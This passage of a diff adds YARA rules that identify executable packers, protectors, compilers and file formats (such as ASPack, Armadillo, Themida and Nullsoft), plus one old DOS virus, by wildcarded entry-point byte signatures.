+		$0 at entrypoint
+}
+rule _FSG_v20_
+{
+	meta:
+		description = "FSG v2.0"
+	strings:
+		$0 = {87 25 ?? ?? ?? ?? 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75}
+		$1 = {87 25 ?? ?? ?? 00 61 94 55 A4 B6 80 FF 13}
+		$2 = {87 25 ?? ?? ?? ?? 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _EXECryptor_2223_protected_IAT__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.2/2.3 (protected IAT) -> www.strongbit.com"
+	strings:
+		$0 = {CC ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? B4 ?? ?? ?? 08 ?? ?? ?? 00 00 00 00 FF FF FF FF E8 ?? ?? ?? 04 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_430__440__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 4.30 - 4.40 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 ?? ?? 00 68 80 ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 ?? ?? 00 33 D2 8A D4 89 15 30 ?? ?? 00 8B C8 81 E1 FF 00 00 00 89 0D 2C ?? ?? 00 C1 E1 08 03 CA 89 0D 28 ?? ?? 00 C1 E8 10 A3 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Gotcha879_
+{
+	meta:
+		description = "Vx: Gotcha.879"
+	strings:
+		$0 = {E8 ?? ?? 5B 81 EB ?? ?? 9C FC 2E ?? ?? ?? ?? ?? ?? ?? 8C D8 05 ?? ?? 2E ?? ?? ?? ?? 50 2E ?? ?? ?? ?? ?? ?? 8B C3 05 ?? ?? 8B F0 BF 00 01 B9 20 00 F3 A4 0E B8 00 01 50 B8 DA DA CD 21}
+		$1 = {E8 ?? ?? 5B 81 EB ?? ?? 9C FC 2E ?? ?? ?? ?? ?? ?? ?? 8C D8 05 ?? ?? 2E ?? ?? ?? ?? 50 2E ?? ?? ?? ?? ?? ?? 8B C3 05 ?? ?? 8B F0 BF 00 01 B9 20 00 F3 A4 0E B8 00 01 50 B8 DA DA CD 21}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Exe_Shield_v29_
+{
+	meta:
+		description = "Exe Shield v2.9"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 0B 20 40 00 B9 EB 08 00 00 8D BD 53 20 40 00 8B F7 AC ?? ?? ?? F8}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 0B 20 40 00 B9 EB 08 00 00 8D BD 53 20 40 00 8B F7 AC ?? ?? ?? F8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _LSI_C86_RunTime_Libray_
+{
+	meta:
+		description = "LSI C-86 Run-Time Libray"
+	strings:
+		$0 = {B8 ?? ?? 8E C0 06 17 BC ?? ?? 26 8C ?? ?? ?? B4 30 CD 21 26 A3 ?? ?? FC}
+	condition:
+		$0 at entrypoint
+}
+rule _ZOO_Archive_
+{
+	meta:
+		description = "ZOO Archive"
+	strings:
+		$0 = {5A 4F 4F}
+	condition:
+		$0 at entrypoint
+}
+rule _XCR_v013_
+{
+	meta:
+		description = "XCR v0.13"
+	strings:
+		$0 = {93 71 08 ?? ?? ?? ?? ?? ?? ?? ?? 8B D8 78 E2 ?? ?? ?? ?? 9C 33 C3 ?? ?? ?? ?? 60 79 CE ?? ?? ?? ?? E8 01 ?? ?? ?? ?? 83 C4 04 E8 AB FF FF FF ?? ?? ?? ?? 2B E8 ?? ?? ?? ?? 03 C5 FF 30 ?? ?? ?? ?? C6 ?? EB}
+		$1 = {93 71 08 ?? ?? ?? ?? ?? ?? ?? ?? 8B D8 78 E2 ?? ?? ?? ?? 9C 33 C3 ?? ?? ?? ?? 60 79 CE ?? ?? ?? ?? E8 01 ?? ?? ?? ?? 83 C4 04 E8 AB FF FF FF ?? ?? ?? ?? 2B E8 ?? ?? ?? ?? 03 C5 FF 30 ?? ?? ?? ?? C6 ?? EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VPacker__ttui____ImportTable__20080415_
+{
+	meta:
+		description = "VPacker -> ttui   * ImportTable * 20080415"
+	strings:
+		$0 = {00 00 00 00 FF FF FF FF FF FF FF FF ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 48 65 61 70 43 72 65 61 74 65 00 00 00 48 65 61 70 41 6C 6C 6F 63 00 C3 8D 40 00 55 8B EC 51 E8 28 00 00 00}
+	condition:
+		$0
+}
+rule _MinGW_v32x_Dll_main_
+{
+	meta:
+		description = "MinGW v3.2.x (Dll_main)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 40 00 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Program_Protector_XP_v10_
+{
+	meta:
+		description = "Program Protector XP v1.0"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 00 00 00 00 00 00}
+		$1 = {E8 ?? ?? ?? ?? 58 83 D8 05 89 C3 81 C3 ?? ?? ?? ?? 8B 43 64 50}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _from_NORMAN_AntiVirus_Utilites_
+{
+	meta:
+		description = "from NORMAN Anti-Virus Utilites"
+	strings:
+		$0 = {E8 ?? ?? 5B 52 45 2F 4E 44 44 53 5D 0D 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Packer_v70_by_TurboPower_Software_
+{
+	meta:
+		description = "EXE Packer v7.0 by TurboPower Software"
+	strings:
+		$0 = {1E 06 8C C3 83 ?? ?? 2E ?? ?? ?? ?? B9 ?? ?? 8C C8 8E D8 8B F1 4E 8B FE}
+	condition:
+		$0 at entrypoint
+}
+rule _ComLock_010_
+{
+	meta:
+		description = "ComLock 0.10"
+	strings:
+		$0 = {EB 0E 90 00 00 00 00 2D 43 4F 4D 4C 4F 43 4B 2D BB 00 00 BE 04 00 81 C6 03 01 03 F3 BF 00 01 B9 03 00 F3 A4 2E 8A 87 06 01 BE 03 01 8B CB 2E 30 04 46 FE C0 E2 F8 33 C0 33 DB 33 C9 33 D2 33 FF 33 F6 33 ED 0E 50 55 8B EC C7 46 02 00 01 5D CB}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b3__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact v1.10b3 -> Jeremy Collake"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 95}
+	condition:
+		$0 at entrypoint
+}
+rule _Trivial173_by_SMTSMF_
+{
+	meta:
+		description = "Trivial173 by SMT/SMF"
+	strings:
+		$0 = {EB ?? ?? 28 54 72 69 76 69 61 6C 31 37 33 20 62 79 20 53 4D 54 2F 53 4D 46 29}
+		$1 = {EB ?? ?? 28 54 72 69 76 69 61 6C 31 37 33 20 62 79 20 53 4D 54 2F 53 4D 46 29}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Lockless_Intro_Pack_
+{
+	meta:
+		description = "Lockless Intro Pack"
+	strings:
+		$0 = {B8 00 30 CD 21 3C 03 73 ?? 0E 1F BA ?? ?? B4 09 CD 21 06 33 C0 50 CB}
+		$1 = {2C E8 ?? ?? ?? ?? 5D 8B C5 81 ED F6 73 ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 06 89 85}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Solidshield_Protector_V1X__Solidshield_Technologies_
+{
+	meta:
+		description = "Solidshield Protector V1.X -> Solidshield Technologies"
+	strings:
+		$0 = {68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 00 60 89 00 0A 00 00 00 46 33 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10803_
+{
+	meta:
+		description = "ASPack v1.08.03"
+	strings:
+		$0 = {55 57 51 53 E8 ?? ?? ?? ?? 5D 8B C5 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 09 89 85 ?? ?? ?? ?? 0F B6}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E}
+		$2 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E}
+		$3 = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD}
+		$4 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _SLVc0deProtector_11x__SLV__ICU_
+{
+	meta:
+		description = "SLVc0deProtector 1.1x -> SLV / ICU"
+	strings:
+		$0 = {E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C ?? ?? 00}
+		$1 = {E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_Microsoft_Visual_Basic_50__60__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Microsoft Visual Basic 5.0 - 6.0] --> Anorganix"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CDS_SS_10_beta1__CyberDoom_
+{
+	meta:
+		description = "CDS SS 1.0 beta1 -> CyberDoom"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40}
+		$1 = {60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40 00 E8 FC 03 00 00 0B C0 0F 84 CE 02 00 00 E8 1E 03 00 00 89 85 90 4E 40 00 8D 85 03 4D 40 00 50 FF B5 B8 4E 40 00 E8 D7 03 00 00 0B C0 0F 84 A9 02 00 00 E8 F9 02 00 00 89 85 94 4E 40 00 8D 85 12 4D 40 00 50}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_unknown_version_
+{
+	meta:
+		description = "Obsidium unknown version"
+	strings:
+		$0 = {EB 01 ?? 50 EB 03 ?? ?? ?? E8 ?? 00 00 00 EB 03}
+	condition:
+		$0 at entrypoint
+}
+rule _Immun_12_registered_COM_
+{
+	meta:
+		description = "Immun 1.2 registered [COM]"
+	strings:
+		$0 = {50 53 51 52 56 57 1E 06 E8 00 00 5E 81 EE 79 08 2E 89 36 00 01 8B FE 81 C7 6C 08 2E 8B 1D 2B FB 83 C7 02 81 EF 00 01 8B EF B4 30 CD 21 2E 88 85 63 01 3C 03 72 50 8E 1E 2C 00 8C C8 8E C0 8B EF 2E 8B 3E 00 01 81 C7 4A 0C 33 F6 B9 00 20 FC AC}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE32Pack_v136__SteelBytes_
+{
+	meta:
+		description = "EXE32Pack v1.36 -> SteelBytes"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? 00 ?? ?? 00 3B DB 74 01 BE 5D 8B D5 81 ED CC 8D 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_10069__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.0.0.69 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 A3 1C 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2117__StrongbitSoftComplete_Development_
+{
+	meta:
+		description = "EXECryptor 2.1.17 -> Strongbit/SoftComplete Development"
+	strings:
+		$0 = {BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01 D0 03 45 F4 8B 18 8B 7E 10 01 D7 03 7D F4 09 DB 0F 84 ?? 00 00 00 F7 C3 00 00 00 80 0F 85 04 00 00 00 8D 5C 13 02 81 E3 FF FF FF 7F 53 FF 75 F8 FF 15 9C ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 07 83 45 F4 04 E9 A6 FF FF FF}
+		$1 = {BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Safedisc_V450000__Macrovision_Corporation__SignByfly__20080117_
+{
+	meta:
+		description = "Safedisc V4.50.000 -> Macrovision Corporation * Sign.By.fly * 20080117"
+	strings:
+		$0 = {55 8B EC 60 BB 6E ?? ?? ?? B8 0D ?? ?? ?? 33 C9 8A 08 85 C9 74 0C B8 E4 ?? ?? ?? 2B C3 83 E8 05 EB 0E 51 B9 2B ?? ?? ?? 8B C1 2B C3 03 41 01 59 C6 03 E9 89 43 01 51 68 D9 ?? ?? ?? 33 C0 85 C9 74 05 8B 45 08 EB 00 50 E8 25 FC FF FF 83 C4 08 59 83 F8 00 74 1C C6 03 C2 C6 43 01 0C 85 C9 74 09 61 5D B8 00 00 00 00 EB 96 50 B8 F9 ?? ?? ?? FF 10 61 5D EB 47 80 7C 24 08 00 75 40 51 8B 4C 24 04 89 0D ?? ?? ?? ?? B9 02 ?? ?? ?? 89 4C 24 04 59 EB 29 50 B8 FD ?? ?? ?? FF 70 08 8B 40 0C FF D0 B8 FD ?? ?? ?? FF 30 8B 40 04 FF D0 58 B8 25 ?? ?? ?? FF 30 C3 72 16 61 13 60 0D E9 ?? ?? ?? ?? 66 83 3D ?? ?? ?? ?? ?? 74 05 E9 91 FE FF FF C3}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE__BitArts_
+{
+	meta:
+		description = "Crunch/PE -> BitArts"
+	strings:
+		$0 = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Aluwain_803_
+{
+	meta:
+		description = "Aluwain 8.03"
+	strings:
+		$0 = {B8 00 00 50 E4 21 50 B8 00 00 8C DB 03 C3 50 B8 00 00 50 CB 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_20_
+{
+	meta:
+		description = "Nullsoft Install System 2.0"
+	strings:
+		$0 = {83 EC 0C 53 55 56 57 C7 44 24 10 70 92 40 00 33 DB C6 44 24 14 20 FF 15 2C 70 40 00 53 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 2D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00}
+		$1 = {83 EC 20 53 55 56 33 DB 57 89 5C 24 18 C7 44 24 10 ?? ?? ?? ?? C6 44 24 14 20 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 02 23 00 00 BE ?? ?? ?? ?? 56}
+		$2 = {83 EC 0C 53 55 56 57 C7 44 24 10 ?? ?? ?? ?? 33 DB C6 44 24 14 20 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 56 57 A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 8D FF FF FF 8B 2D ?? ?? ?? ?? 85 C0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _UPX_Shit_05__snaker_
+{
+	meta:
+		description = "UPX Shit 0.5 -> snaker"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 F9 00 7E 06 80 30 ?? 40 E2 F5 E9 ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _NoodleCrypt_v20_
+{
+	meta:
+		description = "NoodleCrypt v2.0"
+	strings:
+		$0 = {EB 01 9A E8 ?? 00 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01}
+		$1 = {EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01}
+		$2 = {06 0E 0E 07 1F E8 00 00 5B 83 EB 08 BA 27 01 03 D3 E8 3C 02 BA EA}
+		$3 = {EB 01 9A E8 ?? 00 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3
+}
+rule _DrHalo_or_DrGenius_Image_Graphics_format_
+{
+	meta:
+		description = "DrHalo or DrGenius Image Graphics format"
+	strings:
+		$0 = {3A 03 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _XComp_097__098_DLL__JoKo_
+{
+	meta:
+		description = "XComp 0.97 - 0.98 DLL -> JoKo"
+	strings:
+		$0 = {68 ?? ?? ?? 00 9C 60 E8 ?? ?? 00 00 34 ?? ?? 00 00 00 00 00 00 00 00 00 4C ?? ?? 00 34 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 59 ?? ?? 00 6A ?? ?? 00 79 ?? ?? 00 88 ?? ?? 00 96 ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 47 65 74 50 72 6F 63 41 64}
+	condition:
+		$0 at entrypoint
+}
+rule _SelfEnc_10_
+{
+	meta:
+		description = "SelfEnc 1.0"
+	strings:
+		$0 = {BB 0F 01 B9 8F 18 33 C0 2E 80 2F 00 43 E2 F9}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v250b3_
+{
+	meta:
+		description = "Armadillo v2.50b3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+		$1 = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _XCF_File_Format_by_Adeline_Software_
+{
+	meta:
+		description = "XCF File Format by Adeline Software"
+	strings:
+		$0 = {46 72 61 6D 65 4C 65 6E F4 0F}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt_v102_
+{
+	meta:
+		description = "PE Crypt v1.02"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_80_MFC_
+{
+	meta:
+		description = "Microsoft Visual C++ 8.0 (MFC)"
+	strings:
+		$0 = {C0 ?? ?? 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? 00 00 00 00 00 ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 ?? 00 00 00 00 00 ?? 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {48 83 EC 28 E8 ?? ?? 00 00 48 83 C4 28 E9 0E FD FF FF CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+		$2 = {C0 ?? ?? 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? 00 00 00 00 00 ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 ?? 00 00 00 00 00 ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Gleam_100_
+{
+	meta:
+		description = "Gleam 1.00"
+	strings:
+		$0 = {83 EC 0C 53 56 57 E8 24 02 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEPROTECT_09_
+{
+	meta:
+		description = "PE-PROTECT 0.9"
+	strings:
+		$0 = {50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39}
+		$1 = {E9 CF 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+		$2 = {06 1E 50 8C C8 8E D8 BA 70 03 B8 24 25 CD 21 ?? ?? ?? ?? ?? 90 B4 2F CD 21 53}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PseudoSigner_02_ASProtect__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [ASProtect] --> Anorganix"
+	strings:
+		$0 = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD}
+	condition:
+		$0 at entrypoint
+}
+rule _PowerBASICWin_70x_
+{
+	meta:
+		description = "PowerBASIC/Win 7.0x"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 ?? 40 00 66 2E F7 05 ?? ?? 40 00 04 00 0F 85 DB 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V10__cyberbob____20080312_
+{
+	meta:
+		description = "PESpin V1.0 -> cyberbob   * 20080312"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 C8 DC 46 00 0B E4 74 9E 75 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 19 77 00 43 B7 F6 C3 ?? ?? ?? ?? ?? ?? ?? C9 C2 08 00 ?? ?? ?? ?? ?? 5D 33 C9 41 E2 17 EB 07 ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 5A 83 EA 0B FF E2 EB 04 ?? EB 04 ?? EB FB FF 8B ?? ?? ?? ?? ?? 8B 42 3C 03 C2 89 ?? ?? ?? ?? ?? EB 02 ?? ?? F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 ?? ?? ?? ?? 83 04 24 0C C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_25_
+{
+	meta:
+		description = "EXE Stealth 2.5"
+	strings:
+		$0 = {60 90 EB 22 45 78 65 53 74 65 61 6C 74 68 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D E8 00 00 00 00 5D 81 ED 40 1E 40 00 B9 99 09 00 00 8D BD 88 1E 40 00 8B F7 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V1XV2X__Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.X-V2.X -> Oreans Technologies"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 43 4F 4D 43 54 4C 33 32 2E 64 6C 6C 00 00 00 49 6E 69 74 43 6F 6D 6D 6F 6E 43 6F 6E 74 72 6F 6C 73 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Vprotect_V200__CoooLie_
+{
+	meta:
+		description = "Vprotect V2.0.0 -> CoooLie"
+	strings:
+		$0 = {57 5F 8D BF FA FF FF FF 55 66 8B C0 5D 8D BF 06 00 00 00 8A D2 8B C9 66 50 8D AD FD FF FF FF 8D AD 03 00 00 00 66 58 87 DF 66 F7 D2 55 8A C9 5D 66 F7 D2 87 DF 8B 67 28 50 66 8B C0 58 61 F6 D5 53 5B F6 D5 66 87 C6 51 59 66 87 C6 F7 D6 66 52 66 5A F7 D6 9D 8D B6 E5 FF FF FF 66 51 F6 D2 8B D2 F6 D2 66 59 8D B6 1B 00 00 00 66 51 66 59}
+	condition:
+		$0 at entrypoint
+}
+rule _WIBUKey_V410A__httpwibucomus_
+{
+	meta:
+		description = "WIBU-Key V4.10A -> http://wibu.com/us/"
+	strings:
+		$0 = {F7 05 ?? ?? ?? ?? FF 00 00 00 75 12}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_11_SE_v12_
+{
+	meta:
+		description = "MEW 11 SE v1.2"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
